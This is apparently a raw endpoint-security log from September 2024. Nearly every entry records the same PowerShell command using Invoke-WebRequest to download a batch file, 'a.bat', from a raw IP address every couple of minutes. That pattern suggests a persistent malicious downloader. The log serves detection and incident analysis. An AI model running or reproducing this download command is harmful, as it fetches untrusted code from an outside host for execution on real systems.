C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:39:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:41:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:42:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:44:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:44:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:46:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:47:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:49:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:49:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:51:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:52:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:54:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:54:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:56:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:57:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:59:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 21:59:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:01:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:02:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:04:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:04:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:06:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:07:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:09:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:11:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:12:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:14:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:14:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:17:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:17:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:19:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:19:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:22:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:22:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:24:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:24:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:27:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:27:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:29:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:29:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:32:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:32:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:34:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:34:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:37:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:37:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:39:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:39:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:42:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:42:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:44:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:45:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:47:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:47:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:49:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:50:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:52:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:52:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:54:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:55:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:57:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 22:57:37 AVAVER: 21.2.2455 AR2: 240830 defs: 24090900 2024-09-10 22:57:37 ARPOT2: Start 1396 2024-09-10 22:57:37 AR2CFG: 240830 2024-09-10 22:57:37 AR2DEV: Start 1 Driver: 210305 2024-09-10 22:59:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:00:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:02:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:02:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:04:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:05:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:07:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:07:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:09:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:10:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:12:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:12:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:14:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:15:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:17:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:17:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:19:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:20:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:22:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:22:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:24:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:25:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:27:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:27:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:29:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:30:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:32:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:32:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:34:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:35:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:37:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:37:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:39:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:40:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:42:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:42:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:44:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:45:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:47:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:47:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:49:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:50:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:52:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:52:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:54:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:55:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:57:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:57:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 23:59:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:00:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:02:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:02:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:04:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:05:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:07:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:07:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:10:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:10:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:12:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:12:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:15:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:15:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:17:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:17:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:20:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:20:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:22:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:22:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:25:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:25:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:27:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-11 00:27:59 NOTIFY: 